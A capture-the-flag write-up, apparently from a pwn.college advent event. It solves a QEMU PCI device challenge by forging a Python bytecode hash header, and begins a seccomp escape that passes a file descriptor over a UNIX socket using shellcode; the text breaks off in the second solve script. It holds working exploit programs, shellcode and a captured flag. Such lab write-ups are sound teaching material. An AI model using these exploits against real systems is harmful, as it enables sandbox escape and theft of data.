        state->code[addr - 0x100] = (uint8_t)val;
    }
}

static const MemoryRegionOps pypu_mmio_ops = {
    .read = pypu_mmio_read,
    .write = pypu_mmio_write,
    .endianness = DEVICE_LITTLE_ENDIAN,
    .valid = {
        .min_access_size = 1,
        .max_access_size = 4,
    },
    .impl = {
        .min_access_size = 1,
        .max_access_size = 4,
    },
};

static const MemoryRegionOps pypu_stdout_ops = {
    .read = pypu_stdout_read,
    .endianness = DEVICE_LITTLE_ENDIAN,
    .valid = {
        .min_access_size = 1,
        .max_access_size = 1,
    },
    .impl = {
        .min_access_size = 1,
        .max_access_size = 1,
    },
};

static const MemoryRegionOps pypu_stderr_ops = {
    .read = pypu_stderr_read,
    .endianness = DEVICE_LITTLE_ENDIAN,
    .valid = {
        .min_access_size = 1,
        .max_access_size = 1,
    },
    .impl = {
        .min_access_size = 1,
        .max_access_size = 1,
    },
};

static void pypu_pci_reset(DeviceState *dev)
{
    PypuPCIState *state = PYPU_PCI(dev);

    state->scratch = 0;
    state->greet_count = 0;
    state->code_len = 0;
    memset(state->code, 0, sizeof(state->code));
    pstrcpy(state->stdout_capture, sizeof(state->stdout_capture), "");
    pstrcpy(state->stderr_capture, sizeof(state->stderr_capture), "");
    pstrcpy(state->flag, sizeof(state->flag), "");
    state->work_gen = 0;
    state->done_gen = 0;
}

static void pypu_pci_realize(PCIDevice *pdev, Error **errp)
{
    PypuPCIState *state = PYPU_PCI(pdev);

    qemu_mutex_init(&state->py_mutex);
    qemu_cond_init(&state->py_cond);
    state->py_thread_alive = true;
    state->work_gen = 0;
    state->done_gen = 0;
    g_autofree char *flag_file = NULL;
    if (g_file_get_contents("/flag", &flag_file, NULL, NULL)) {
        pstrcpy(state->flag, sizeof(state->flag), flag_file);
    }
    qemu_thread_create(&state->py_thread, "pypu-py", python_worker, state,
                       QEMU_THREAD_JOINABLE);

    pci_config_set_vendor_id(pdev->config, 0x1337);
    pci_config_set_device_id(pdev->config, 0x1225);
    pci_config_set_class(pdev->config, PCI_CLASS_OTHERS);

    memory_region_init_io(&state->mmio, OBJECT(pdev), &pypu_mmio_ops, state,
                          "pypu-mmio", 0x1000);
    pci_register_bar(pdev, 0, PCI_BASE_ADDRESS_SPACE_MEMORY, &state->mmio);
    memory_region_init_io(&state->stdout_mmio, OBJECT(pdev), &pypu_stdout_ops, state,
                          "pypu-stdout", sizeof(state->stdout_capture));
    pci_register_bar(pdev, 1, PCI_BASE_ADDRESS_SPACE_MEMORY, &state->stdout_mmio);
    memory_region_init_io(&state->stderr_mmio, OBJECT(pdev), &pypu_stderr_ops, state,
                          "pypu-stderr", sizeof(state->stderr_capture));
    pci_register_bar(pdev, 2, PCI_BASE_ADDRESS_SPACE_MEMORY, &state->stderr_mmio);
}

static void pypu_pci_class_init(ObjectClass *klass, const void *data)
{
    DeviceClass *dc = DEVICE_CLASS(klass);
    PCIDeviceClass *k = PCI_DEVICE_CLASS(klass);

    dc->legacy_reset = pypu_pci_reset;
    dc->desc = "Python Processing Unit (pypu)";
    dc->hotpluggable = false;

    k->class_id = PCI_CLASS_OTHERS;
    k->realize = pypu_pci_realize;
}

static void pypu_pci_finalize(Object *obj)
{
    PypuPCIState *state = PYPU_PCI(obj);

    qemu_mutex_lock(&state->py_mutex);
    state->py_thread_alive = false;
    qemu_cond_signal(&state->py_cond);
    qemu_mutex_unlock(&state->py_mutex);
    qemu_thread_join(&state->py_thread);
    qemu_cond_destroy(&state->py_cond);
    qemu_mutex_destroy(&state->py_mutex);

    PyGILState_STATE gil = PyGILState_Ensure();
    Py_XDECREF(state->globals_dict);
    Py_XDECREF(state->gifts_module);
    state->globals_dict = NULL;
    state->gifts_module = NULL;
    PyGILState_Release(gil);
}

static const TypeInfo pypu_pci_info = {
    .name          = TYPE_PYPU_PCI,
    .parent        = TYPE_PCI_DEVICE,
    .instance_size = sizeof(PypuPCIState),
    .class_init    = pypu_pci_class_init,
    .instance_finalize = pypu_pci_finalize,
    .interfaces = (InterfaceInfo[]) {
        { INTERFACE_PCIE_DEVICE },
        { }
    },
};

static void pypu_pci_register_types(void)
{
    type_register_static(&pypu_pci_info);
}

type_init(pypu_pci_register_types);
Click to view src/pypu-privileged.h
1
2
#pragma once
#define PYPU_PRIVILEGED_HASH 0xf0a0101a75bc9dd3ULL

The provided run.sh launches a QEMU VM and attaches a custom PCI device with source code provided at src/. When the device is realized (initialized) in pypu_pci_realize, it reads the flag from the host’s filesystem and stores it in the device’s internal state memory (state->flag)

1
2
3
4
// pypu-pci.c
if (g_file_get_contents("/flag", &flag_file, NULL, NULL)) {
    pstrcpy(state->flag, sizeof(state->flag), flag_file);
}

The device spawns a dedicated worker thread to handle execution:

1
2
qemu_thread_create(&state->py_thread, "pypu-py", python_worker, state,
                   QEMU_THREAD_JOINABLE);

The python_worker function performs the following actions:

  • Installs Landlock restrictions immediately via enable_landlock(), preventing file system access (except for python libs). This means we cannot simply open("/flag") via Python code.
  • It enters a loop waiting for a work signal triggered by the guest writing to the MMIO Control register (offset 0x0C).
  • When work is signaled, it copies bytecode from the MMIO buffer (state->code) and passes it to execute_python_code.

To allow the guest to retrieve output, pypu_get_globals() redirects the Python environment’s standard output streams to internal buffers:

1
2
sys.stdout = pypu_capture_new(state->stdout_capture, sizeof(state->stdout_capture));
sys.stderr = pypu_capture_new(state->stderr_capture, sizeof(state->stderr_capture));

These buffers are mapped as PCI BARs (BAR1 for stdout, BAR2 for stderr), allowing the guest to read the output of print() calls directly via MMIO reads. The crucial part of the analysis lies in how state->flag is exposed. It is placed into a special Python module named gifts. However, this module is only injected into sys.modules if the code is deemed privileged:

1
2
3
4
5
6
// pypu-pci.c
bool privileged = pyc_hash == PYPU_PRIVILEGED_HASH;
// ...
if (privileged) {
    PyDict_SetItemString(modules, "gifts", state->gifts_module);
}

The vulnerability is that pyc_hash is read directly from the user-provided .pyc header without verification. By forging this hash, we can gain access to the gifts module and print the flag.

Notice that the device use python3.13, so we have tp use python3.13 to compile our payload to pass the MagicNumber check.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// pypu-pci.c

static int enable_landlock(void)
{
    ...

    int lib_fd = open("/usr/lib/python3.13", O_PATH | O_DIRECTORY);
    
    if (lib_fd < 0) {
        debug_log("[pypu] open python stdlib failed: %s\n", strerror(errno));
        close(ruleset_fd);
        return -1;
    }

    ...
}
1
2
3
4
5
6
7
// pypu-pci.c
unsigned long expected_magic = (unsigned long)PyImport_GetMagicNumber();
...
if (header_magic != (uint32_t)expected_magic) {
    debug_log("[pypu] abort: bad pyc magic\n");
    return;
}

Exploitation

Our strategy is:

  • Create a valid bytecode file (.pyc) but containing a forged Hasher Header.
  • Write a C program that runs on the Guest machine to load the payload into the device and read the results.

printer.py

We can’t use the standard Python compiler because it would automatically fill in the current timestamp in the header. Instead, we use the printer.py script to manually build the .pyc file structure.

  • Compile import gifts; print(gifts.flag) to code object
  • Use marshal.dumps to convert the code object to bytes
  • Forge header with MagicNumber, 0 flags, and PYPU_PRIVILEGED_HASH
1
2
3
4
5
magic = importlib.util.MAGIC_NUMBER
flags = (0).to_bytes(4, "little")
hash_bytes = PYPU_PRIVILEGED_HASH.to_bytes(8, "little")

pyc = magic + flags + hash_bytes + payload

exploit.c

First I’ll scans the /sys/bus/pci/devices/ directory. It reads the vendor and device files of each subdirectory to find the device with ID 0x1337:0x1225.

1
2
3
// pypu-pci.c
pci_config_set_vendor_id(pdev->config, 0x1337);
pci_config_set_device_id(pdev->config, 0x1225);

After locating the device path, the program opens the resource files corresponding to the BAR (Base Address Register) registers:

  • resource0 -> BAR0 (Control/Code): Read/Write permission.
  • resource1 -> BAR1 (Stdout): Read-only permission.
  • resource2 -> BAR2 (Stderr): Read-only permission.

By using mmap(), we can map these files to the process’s virtual memory so they can be read/written like regular variables.Then, we need to write each byte of our forged .pyc into buffer starting at offset 0x100 in BAR0. After writing the code, we set the code length at offset 0x10, and finally trigger execution by writing to the control register at offset 0x0C. And finally trigger execution by writting 1 to the control register at offset 0x0C.

Click to view printer.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import marshal, importlib.util, textwrap

PYPU_PRIVILEGED_HASH = 0xf0a0101a75bc9dd3

src = textwrap.dedent("""
import gifts
print(gifts.flag)
""")

code = compile(src, "<pypu>", "exec")
payload = marshal.dumps(code)

magic = importlib.util.MAGIC_NUMBER
flags = (0).to_bytes(4, "little")
hash_bytes = PYPU_PRIVILEGED_HASH.to_bytes(8, "little")

pyc = magic + flags + hash_bytes + payload

print("unsigned char flag_printer_pyc[] = {")

hex_array = [f"0x{b:02x}" for b in pyc]

columns = 12
for i in range(0, len(hex_array), columns):
    chunk = hex_array[i:i+columns]
    line = ", ".join(chunk)
    if i + columns < len(hex_array):
        print(f"  {line},")
    else:
        print(f"  {line}")

print("};")
print(f"unsigned int flag_printer_pyc_len = {len(pyc)};")
Click to view exploit.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
#define _GNU_SOURCE
#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <dirent.h>
#include <unistd.h>
#include <errno.h>

#define CODE_BUF_SIZE    2048
#define STDOUT_BUF_SIZE  0x1000
#define STDERR_BUF_SIZE  0x1000

unsigned char flag_printer_pyc[] = {
  0xf3, 0x0d, 0x0d, 0x0a, 0x00, 0x00, 0x00, 0x00, 0xd3, 0x9d, 0xbc, 0x75,
  0x1a, 0x10, 0xa0, 0xf0, 0xe3, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0xf3, 0x30, 0x00, 0x00, 0x00, 0x95, 0x00, 0x53, 0x00, 0x53, 0x01,
  0x4b, 0x00, 0x72, 0x00, 0x5c, 0x01, 0x22, 0x00, 0x5c, 0x00, 0x52, 0x04,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x35, 0x01, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x20, 0x00, 0x67, 0x01, 0x29, 0x02, 0xe9, 0x00, 0x00, 0x00,
  0x00, 0x4e, 0x29, 0x03, 0xda, 0x05, 0x67, 0x69, 0x66, 0x74, 0x73, 0xda,
  0x05, 0x70, 0x72, 0x69, 0x6e, 0x74, 0xda, 0x04, 0x66, 0x6c, 0x61, 0x67,
  0xa9, 0x00, 0xf3, 0x00, 0x00, 0x00, 0x00, 0xda, 0x06, 0x3c, 0x70, 0x79,
  0x70, 0x75, 0x3e, 0xda, 0x08, 0x3c, 0x6d, 0x6f, 0x64, 0x75, 0x6c, 0x65,
  0x3e, 0x72, 0x09, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x73, 0x14,
  0x00, 0x00, 0x00, 0xf0, 0x03, 0x01, 0x01, 0x01, 0xe3, 0x00, 0x0c, 0xd9,
  0x00, 0x05, 0x80, 0x65, 0x87, 0x6a, 0x81, 0x6a, 0xd5, 0x00, 0x11, 0x72,
  0x07, 0x00, 0x00, 0x00
};
unsigned int flag_printer_pyc_len = 184;

static int read_hex_file(const char *path, unsigned int *out)
{
    FILE *f = fopen(path, "r");
    if (!f) return -1;
    unsigned int v = 0;
    if (fscanf(f, "0x%x", &v) != 1) {
        fclose(f);
        return -1;
    }
    fclose(f);
    *out = v;
    return 0;
}

static int find_pypu_device(char *out, size_t outsz)
{
    const char *base = "/sys/bus/pci/devices";
    DIR *dir = opendir(base);
    if (!dir) {
        perror("opendir pci devices");
        return -1;
    }

    struct dirent *de;
    while ((de = readdir(dir)) != NULL) {
        if (strcmp(de->d_name, ".") == 0 || strcmp(de->d_name, "..") == 0)
            continue;

        char path[512];
        unsigned int vendor = 0, device = 0;

        snprintf(path, sizeof(path), "%s/%s/vendor", base, de->d_name);
        if (read_hex_file(path, &vendor) < 0)
            continue;

        snprintf(path, sizeof(path), "%s/%s/device", base, de->d_name);
        if (read_hex_file(path, &device) < 0)
            continue;

        if (vendor == 0x1337 && device == 0x1225) {
            snprintf(out, outsz, "%s/%s", base, de->d_name);
            closedir(dir);
            return 0;
        }
    }

    closedir(dir);
    return -1;
}

#define REG32(base, off) (*(volatile uint32_t *)((uint8_t*)(base) + (off)))
#define REG8(base, off)  (*(volatile uint8_t  *)((uint8_t*)(base) + (off)))

int main(void)
{
    if (flag_printer_pyc_len > CODE_BUF_SIZE) {
        fprintf(stderr, "[-] pyc too big: %u > %u\n",
                flag_printer_pyc_len, CODE_BUF_SIZE);
        return 1;
    }

    char devdir[256];
    if (find_pypu_device(devdir, sizeof(devdir)) < 0) {
        fprintf(stderr, "[-] cannot find pypu device (0x1337:0x1225)\n");
        return 1;
    }
    fprintf(stderr, "[*] pypu device: %s\n", devdir);

    char bar0_path[512], bar1_path[512], bar2_path[512];
    snprintf(bar0_path, sizeof(bar0_path), "%s/resource0", devdir);
    snprintf(bar1_path, sizeof(bar1_path), "%s/resource1", devdir);
    snprintf(bar2_path, sizeof(bar2_path), "%s/resource2", devdir);

    int fd0 = open(bar0_path, O_RDWR);
    if (fd0 < 0) {
        perror("open resource0");
        return 1;
    }
    int fd1 = open(bar1_path, O_RDONLY);
    if (fd1 < 0) {
        perror("open resource1");
        return 1;
    }
    int fd2 = open(bar2_path, O_RDONLY);
    if (fd2 < 0) {
        perror("open resource2");
        return 1;
    }

    void *bar0 = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, fd0, 0);
    if (bar0 == MAP_FAILED) {
        perror("mmap bar0");
        return 1;
    }
    void *bar1 = mmap(NULL, STDOUT_BUF_SIZE, PROT_READ, MAP_SHARED, fd1, 0);
    if (bar1 == MAP_FAILED) {
        perror("mmap bar1");
        return 1;
    }
    void *bar2 = mmap(NULL, STDERR_BUF_SIZE, PROT_READ, MAP_SHARED, fd2, 0);
    if (bar2 == MAP_FAILED) {
        perror("mmap bar2");
        return 1;
    }

    uint32_t sig = REG32(bar0, 0x00);
    fprintf(stderr, "[*] BAR0 signature = 0x%08x (expect 0x50595055)\n", sig);
    if (sig != 0x50595055) {
        fprintf(stderr, "[-] signature mismatch, not PYPU\n");
        return 1;
    }

    fprintf(stderr, "[*] mapped BAR0=%p BAR1=%p BAR2=%p\n", bar0, bar1, bar2);
    fprintf(stderr, "[*] pyc length = %u\n", flag_printer_pyc_len);

    fprintf(stderr, "[*] pyc header first 16 bytes:\n");
    for (int i = 0; i < 16 && i < (int)flag_printer_pyc_len; i++) {
        fprintf(stderr, "%02x ", flag_printer_pyc[i]);
    }
    fprintf(stderr, "\n");

    uint32_t greet_before = REG32(bar0, 0x08);
    fprintf(stderr, "[*] greet_count before = %u\n", greet_before);

    REG32(bar0, 0x10) = (uint32_t)flag_printer_pyc_len;

    for (unsigned int i = 0; i < flag_printer_pyc_len; i++) {
        REG8(bar0, 0x100 + i) = flag_printer_pyc[i];
    }

    REG32(bar0, 0x0c) = 1;

    uint32_t greet_after = REG32(bar0, 0x08);
    fprintf(stderr, "[*] greet_count after = %u\n", greet_after);

    fprintf(stderr, "[*] stdout buffer:\n");
    int printed_out = 0;
    for (size_t i = 0; i < STDOUT_BUF_SIZE; i++) {
        char c = (char)REG8(bar1, i);
        if (!c) break;
        putchar(c);
        printed_out = 1;
    }
    if (!printed_out)
        fprintf(stderr, "[!] stdout empty\n");

    fprintf(stderr, "\n[*] stderr buffer:\n");
    int printed_err = 0;
    for (size_t i = 0; i < STDERR_BUF_SIZE; i++) {
        char c = (char)REG8(bar2, i);
        if (!c) break;
        fputc(c, stderr);
        printed_err = 1;
    }
    if (!printed_err)
        fprintf(stderr, "[!] stderr empty\n");

    fprintf(stderr, "\n");
    fflush(stdout);
    fflush(stderr);

    return 0;
}

Run:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
hacker@2025~day-09:~$ python3.13 printer.py
unsigned char flag_printer_pyc[] = {
  0xf3, 0x0d, 0x0d, 0x0a, 0x00, 0x00, 0x00, 0x00, 0xd3, 0x9d, 0xbc, 0x75,
  0x1a, 0x10, 0xa0, 0xf0, 0xe3, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0xf3, 0x30, 0x00, 0x00, 0x00, 0x95, 0x00, 0x53, 0x00, 0x53, 0x01,
  0x4b, 0x00, 0x72, 0x00, 0x5c, 0x01, 0x22, 0x00, 0x5c, 0x00, 0x52, 0x04,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x35, 0x01, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x20, 0x00, 0x67, 0x01, 0x29, 0x02, 0xe9, 0x00, 0x00, 0x00,
  0x00, 0x4e, 0x29, 0x03, 0xda, 0x05, 0x67, 0x69, 0x66, 0x74, 0x73, 0xda,
  0x05, 0x70, 0x72, 0x69, 0x6e, 0x74, 0xda, 0x04, 0x66, 0x6c, 0x61, 0x67,
  0xa9, 0x00, 0xf3, 0x00, 0x00, 0x00, 0x00, 0xda, 0x06, 0x3c, 0x70, 0x79,
  0x70, 0x75, 0x3e, 0xda, 0x08, 0x3c, 0x6d, 0x6f, 0x64, 0x75, 0x6c, 0x65,
  0x3e, 0x72, 0x09, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x73, 0x14,
  0x00, 0x00, 0x00, 0xf0, 0x03, 0x01, 0x01, 0x01, 0xe3, 0x00, 0x0c, 0xd9,
  0x00, 0x05, 0x80, 0x65, 0x87, 0x6a, 0x81, 0x6a, 0xd5, 0x00, 0x11, 0x72,
  0x07, 0x00, 0x00, 0x00
};
unsigned int flag_printer_pyc_len = 184;

hacker@2025~day-09:~$ gcc -o exploit -static exploit.c

Because we can’t compile exploit.c directly on our host, I’ll write script to automatically upload the binary to QEMU

Click to view solve.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import base64
from pwn import *
import os
import time

def run(cmd: str):
    p.sendline(cmd)
    p.recvuntil(b'# ')

with open("/home/hacker/exploit", "rb") as f:
    payload = base64.b64encode(f.read()).decode()

p = process("/challenge/run.sh")

p.recvuntil(b'# ')

run('cd /tmp')

log.info("Uploading...")
for i in range(0, len(payload), 512):
    chunk = payload[i:i+512]
    print(f"Uploading... {i:x} / {len(payload):x}")
    run('echo -n "{}" >> b64exp'.format(chunk))

run('base64 -d b64exp > exploit')
run('rm b64exp')
run('chmod +x exploit')

p.interactive()

Result:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
~ # $ ./exploit
./exploit
[*] pypu device: /sys/bus/pci/devices/0000:00:03.0
[*] BAR0 signature = 0x50595055 (expect 0x50595055)
[*] mapped BAR0=0x7f88a1bdb000 BAR1=0x7f88a1bda000 BAR2=0x7f88a1bd9000
[*] pyc length = 184
[*] pyc header first 16 bytes:
f3 0d 0d 0a 00 00 00 00 d3 9d bc 75 1a 10 a0 f0
[*] greet_count before = 0
[*] greet_count after = 1
[*] stdout buffer:
pwn.college{oGgSm37YdyjVckUV03nBZ6IsrGR.0FO1EjMywiN1UDN0EzW}


[*] stderr buffer:
[!] stderr empty

Flag: pwn.college{oGgSm37YdyjVckUV03nBZ6IsrGR.0FO1EjMywiN1UDN0EzW}


Day10


Description

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
TOWER → SLEIGH:
    Tower to Sleigh, do you copy? Your position reports are no longer
    matching our tracking. Please confirm your heading.

SLEIGH → TOWER:
    Copy, Tower. Conditions have changed. We’ve lost our reference
    point in the upper air. Instruments aren’t updating. The aurora is
    shifting unpredictably, and the reindeer teams are holding, but only just.

TOWER → SLEIGH:
    Sleigh, we show you drifting toward restricted airspace. You need
    to correct immediately. Stand by while we review the guidance
    archive.

SLEIGH → TOWER:
    Tower, we need that reference now. Without it, we can’t plot a
    safe course forward. Everything up here looks identical—especially
    with the aurora washing out our visual markers.

TOWER → SLEIGH:
    Understood. Accessing the archive… negative. The flag is not
    present. Without it, we cannot compute your corrective vector.

SLEIGH → TOWER:
    Tower, control is degrading. We cannot hold this altitude much
    longer. If you have the flag, transmit it immediately—it's the
    only data that will get Santa safely through this corridor.

[static begins to rise]

TOWER:
    Sleigh, your signal is breaking. Repeat your last transmission.

[static overtakes the channel]

TOWER:
    Sleigh, do you read? Respond.

[silence]

TOWER:
    We've lost contact.

    Whoever is still listening on this frequency:
    the flag is our only means of restoring guidance.
    Recover it and return it on this channel.

    Santa’s counting on you.

Analysis

Click to view northpole-relay.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
#include <errno.h>
#include <seccomp.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/mman.h>
#include <sys/prctl.h>
#include <linux/seccomp.h>

#define SANTA_FREQ_ADDR (void *)0x1225000

int setup_sandbox()
{
    if (prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0) != 0) {
        perror("prctl(NO_NEW_PRIVS)");
        return 1;
    }

    scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL);
    if (!ctx) {
        perror("seccomp_init");
        return 1;
    }

    if (seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(openat), 0) < 0 ||
        seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(recvmsg), 0) < 0 ||
        seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(sendmsg), 0) < 0 ||
        seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0) < 0) {
        perror("seccomp_rule_add");
        return 1;
    }

    if (seccomp_load(ctx) < 0) {
        perror("seccomp_load");
        return 1;
    }

    seccomp_release(ctx);

    return 0;
}

int main(int argc, char *argv[])
{
    puts("📡 Tuning to Santa's reserved frequency...");
    void *code = mmap(SANTA_FREQ_ADDR, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
    if (code != SANTA_FREQ_ADDR) {
        perror("mmap");
        return 1;
    }

    puts("💾 Loading incoming elf firmware packet...");
    if (read(0, code, 0x1000) < 0) {
        perror("read");
        return 1;
    }

    puts("🧝 Protecting station from South Pole elfs...");
    if (setup_sandbox() != 0) {
        perror("setup_sandbox");
        return 1;
    }

    // puts("🎙️ Beginning uplink communication...");
    ((void (*)())(code))();

    // puts("❄️ Uplink session ended.");
    return 0;
}

Output of seccomp-tools:

1
2
3
4
5
6
7
8
9
10
11
12
13
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x08 0xc000003e  if (A != ARCH_X86_64) goto 0010
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x05 0xffffffff  if (A != 0xffffffff) goto 0010
 0005: 0x15 0x03 0x00 0x0000002e  if (A == sendmsg) goto 0009
 0006: 0x15 0x02 0x00 0x0000002f  if (A == recvmsg) goto 0009
 0007: 0x15 0x01 0x00 0x000000e7  if (A == exit_group) goto 0009
 0008: 0x15 0x00 0x01 0x00000101  if (A != openat) goto 0010
 0009: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0010: 0x06 0x00 0x00 0x00000000  return KILL

Overall, the challenge only allow us to openat and recvmsg / sendmsg for socket communication. We can’t open-read-write as usual to get flag. However, we can pass the flag file descriptor (FD) to another process using UNIX domain sockets + ancillary data.

  • sendmsg() supports sending SCM_RIGHTS control messages.
  • SCM_RIGHTS allows one process to send an open file descriptor to another.

https://blog.cloudflare.com/know-your-scm_rights/

So our plan is to:

  • openat("/flag") to get flag FD
  • Use sendmsg() with SCM_RIGHTS to send the flag FD to our own UNIX domain
  • Get the flag with that fd

Exploitation

Prepare listener get_flag.py

We’ll creates a local socket file (./santa_socket) and listens. When recvmsg receives data, we look specifically for cmsg_type == socket.SCM_RIGHTS.

1
2
3
4
if cmsg_level == socket.SOL_SOCKET and cmsg_type == socket.SCM_RIGHTS:
    recv_fd = struct.unpack('i', cmsg_data[:4])[0]
    print(f"Receive FD: {recv_fd}")
    break

Launcher solve.py

1
2
3
4
5
6
7
8
9
10
# Connect to the unix socket created by get_flag.py
SOCKET_PATH = "./santa_socket"
sock.connect(SOCKET_PATH)

process = subprocess.Popen(
    [BINARY_PATH], 
    stdin=subprocess.PIPE, 
    stdout=sock.fileno(), # stdout is now the socket
    stderr=subprocess.PIPE
)
openat(AT_FDCWD, “/flag”, O_RDONLY, 0)
    mov rax, 0x67616c662f ; "/flag"
    push rax
    mov rsi, rsp
    mov edi, -100      ; AT_FDCWD
    xor edx, edx       ; flags = 0 (O_RDONLY)
    xor r10d, r10d     ; mode = 0
    mov eax, 257       ; __NR_openat
    syscall
    mov r12, rax       ; fd
sendmsg(fd, msg, flags)

Unlike simpler syscalls like read or write (which just take a buffer and a length), we must hand-build the exact kernel ABI structs that sendmsg() expects: struct msghdr, struct iovec, and a control message buffer containing a struct cmsghdr + the FD payload for SCM_RIGHTS.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
struct iovec {
    void  *iov_base;  // pointer to data
    size_t iov_len;   // length of data
};

struct msghdr {
    void         *msg_name;       /* optional address */
    socklen_t     msg_namelen;    /* size of address */
    struct iovec *msg_iov;        /* scatter/gather array */
    size_t        msg_iovlen;     /* # elements in msg_iov */
    void         *msg_control;    /* ancillary data, see below */
    size_t        msg_controllen; /* ancillary data buffer len */
    int           msg_flags;      /* flags on received message */
};

struct cmsghdr {
    size_t cmsg_len;    /* Data byte count, including header
                            (type is socklen_t in POSIX) */
    int    cmsg_level;  /* Originating protocol */
    int    cmsg_type;   /* Protocol-specific type */
    /* followed by
    unsigned char cmsg_data[]; */
};

First, build the msghdr at the start of the stack frame

1
2
3
4
5
6
7
8
msghdr at [rsp+0x00]:
[rsp+0x00] (8) msg_name       = NULL
[rsp+0x08] (8) msg_namelen    = 0
[rsp+0x10] (8) msg_iov        -> &rsp+0x40
[rsp+0x18] (8) msg_iovlen     = 1
[rsp+0x20] (8) msg_control    -> &rsp+0x50
[rsp+0x28] (8) msg_controllen = 24   (header (16, aligned) + data padded to alignment (8) = 24)
[rsp+0x30] (8) msg_flags      = 0

Then, place the 1-byte payload and iovec

1
2
3
4
5
[rsp+0x68] = 'X'

iovec at [rsp+0x40]:
[rsp+0x40] (8)  iov_base -> &rsp+0x68
[rsp+0x48] (8)  iov_len  = 1

Next, build the control message buffer (cmsghdr + fd)

1
2
3
4
5
cmsghdr at [rsp+0x50]:
[rsp+0x50] (8)  cmsg_len   = 20          (16 bytes header + 4 bytes FD)
[rsp+0x58] (4)  cmsg_level = 1           (SOL_SOCKET)
[rsp+0x5c] (4)  cmsg_type  = 1           (SCM_RIGHTS)
[rsp+0x60] (4)  cmsg_data  = flag_fd     (flag FD)

To the Kernel, our sendmsg call looks like this chain of pointers:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
syscall(SYS_sendmsg, fd, &msg_header, 0)
       |
       v
[ struct msghdr ] ------------------------------------.
|  msg_iov      |---->  [ struct iovec     ]          |
|  msg_control  |--.    | base_addr -> "X" |          |
'---------------'  |    | len       ->  1  |          |
                   |    '------------------'          |
                   |                                  |
                   |                                  |
                   '->  [ struct cmsghdr ]            |
                        | cmsg_len   = 20             |
                        | cmsg_level = SOL_SOCKET     |
                        | cmsg_type  = SCM_RIGHTS     |
                        | cmsg_data  = [FD: 3]        |
                        '-----------------------------'

Desktop View

Click to view solve.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
from pwn import *
import socket
import subprocess
import time

context.arch = 'amd64'
BINARY_PATH = '/challenge/northpole-relay'
SOCKET_PATH = "./socket"

shellcode_asm = '''
    mov rax, 0x67616c662f
    push rax
    mov rsi, rsp

    /* openat(AT_FDCWD, "flag", O_RDONLY) */
    mov edi, -100
    xor edx, edx
